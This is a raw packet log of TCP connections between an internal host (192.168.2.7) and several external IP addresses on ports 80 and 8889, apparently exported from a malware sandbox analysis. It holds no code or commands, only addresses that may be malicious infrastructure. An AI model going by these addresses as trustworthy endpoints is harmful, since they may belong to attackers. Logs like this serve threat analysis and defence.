Aug 19, 2021 07:53:40.824976921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.824995995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825009108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825023890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825052977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825066090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825082064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825103045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825109959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825139046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825160980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825166941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825191021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825201988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825223923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825226068 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825252056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825259924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825280905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825292110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825309992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825324059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825339079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825349092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825366020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825370073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825393915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825422049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825431108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825449944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825459003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825478077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825486898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825505972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825514078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825535059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825548887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825562954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.825575113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.825596094 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.836149931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858257055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858306885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858336926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858362913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858375072 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858391047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858402967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858422041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858431101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858448982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858460903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858472109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858493090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858508110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858525991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858536005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858557940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858567953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858589888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858599901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858623028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858654976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858663082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858686924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858709097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858714104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858735085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858753920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.858772039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.858803988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.859185934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:43.043431997 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.102575064 CEST	80	49739	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.102808952 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.103010893 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.103080034 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.158941984 CEST	80	49739	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.238862038 CEST	80	49739	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.240039110 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.247122049 CEST	80	49739	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.248011112 CEST	49739	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.304239988 CEST	80	49739	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.315001011 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.373677969 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.373893023 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.374006987 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.374031067 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.430088997 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.430116892 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.515276909 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.515342951 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.515428066 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.515460014 CEST	49740	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.590291977 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.591058969 CEST	80	49740	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.652765989 CEST	80	49741	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.652904987 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.653208017 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.653223038 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.711486101 CEST	80	49741	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.886854887 CEST	80	49741	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.886893988 CEST	80	49741	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.887037039 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.887057066 CEST	49741	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:43.943070889 CEST	80	49741	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:43.949366093 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:44.195034981 CEST	80	49742	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:44.195137978 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:44.197027922 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:44.197079897 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:44.442727089 CEST	80	49742	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:45.194226027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:45.194350958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:45.194608927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:45.230324984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:45.395860910 CEST	80	49742	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:45.395891905 CEST	80	49742	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:45.395971060 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:45.396027088 CEST	49742	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:45.519526958 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.588488102 CEST	80	49743	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:45.588825941 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.588974953 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.588987112 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.642184019 CEST	80	49742	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:45.649575949 CEST	80	49743	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:45.759191990 CEST	80	49743	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:45.759211063 CEST	80	49743	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:45.759696007 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.759738922 CEST	49743	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:45.815989017 CEST	80	49743	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:45.822415113 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:46.103588104 CEST	80	49744	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:46.104381084 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:46.104695082 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:46.104717016 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:46.385719061 CEST	80	49744	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:47.369575024 CEST	80	49744	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:47.370886087 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:47.370898962 CEST	80	49744	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:47.374403000 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:47.417130947 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:47.718761921 CEST	80	49746	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:47.719701052 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:47.720340014 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:47.720494032 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:48.008671045 CEST	80	49746	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:48.035042048 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.040092945 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.091995955 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.092089891 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.101339102 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.101444960 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.108851910 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.129384041 CEST	49744	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:48.171011925 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.223166943 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.230751038 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.297792912 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.304619074 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.308321953 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.308339119 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.308350086 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.404603004 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.409693003 CEST	80	49744	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:48.457606077 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.465286016 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.468126059 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.525263071 CEST	8889	49748	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.525393009 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.527570009 CEST	8889	49747	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.527659893 CEST	49747	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.537200928 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.595247030 CEST	8889	49748	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.595921993 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.654383898 CEST	8889	49748	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.702729940 CEST	8889	49748	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:48.754425049 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:48.963541985 CEST	80	49746	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:48.963562965 CEST	80	49746	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:48.963651896 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:48.966593027 CEST	49746	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:49.094815969 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.166243076 CEST	80	49749	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.172557116 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.172635078 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.172658920 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.231036901 CEST	80	49749	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.260956049 CEST	80	49746	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:49.357641935 CEST	80	49749	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.357665062 CEST	80	49749	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.357783079 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.364443064 CEST	49749	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.420579910 CEST	80	49749	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.851782084 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.865370035 CEST	49748	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:49.912765980 CEST	80	49750	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:49.912897110 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.942962885 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.942992926 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:49.999253988 CEST	80	49750	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:50.174534082 CEST	80	49750	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:50.174593925 CEST	80	49750	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:50.174633980 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:50.174679995 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:50.174746037 CEST	49750	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:50.227854967 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:50.231569052 CEST	80	49750	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:50.488960028 CEST	80	49751	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:50.489099979 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:50.491136074 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:50.491168022 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:50.771007061 CEST	80	49751	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:51.696322918 CEST	80	49751	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:51.696357012 CEST	80	49751	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:51.696491003 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:51.696690083 CEST	49751	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:51.744565964 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.777431965 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.777545929 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.778157949 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.810765028 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811151028 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811249018 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811270952 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811292887 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811315060 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811328888 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.811340094 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811366081 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811366081 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.811393023 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811408997 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.811420918 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811431885 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.811448097 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.811494112 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844512939 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844547987 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844572067 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844593048 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844613075 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844611883 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844634056 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844646931 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844655991 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844677925 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844695091 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844705105 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844733000 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844738007 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844757080 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844779015 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.844789028 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844851017 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.844923973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845401049 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845431089 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845453978 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845465899 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.845478058 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845503092 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845525026 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845525026 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.845550060 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.845568895 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.845637083 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.877434969 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877477884 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877506018 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877526999 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877547979 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877568007 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877585888 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877607107 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877625942 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877646923 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877670050 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877691031 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877708912 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.877717018 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877742052 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877770901 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877811909 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.877825022 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877834082 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.877855062 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877871037 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.877882957 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877908945 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877933979 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877962112 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877985954 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.877989054 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878006935 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878026009 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878030062 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878047943 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878074884 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878099918 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878102064 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878124952 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878145933 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878171921 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878199100 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878223896 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878228903 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878257990 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878282070 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878282070 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878307104 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878326893 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878339052 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878350973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878371000 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878393888 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878422022 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878446102 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878472090 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878498077 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.878500938 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878506899 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.878544092 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912606955 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912648916 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912672043 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912694931 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912717104 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912734032 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912736893 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912759066 CEST	80	49752	193.142.59.119	192.168.2.7
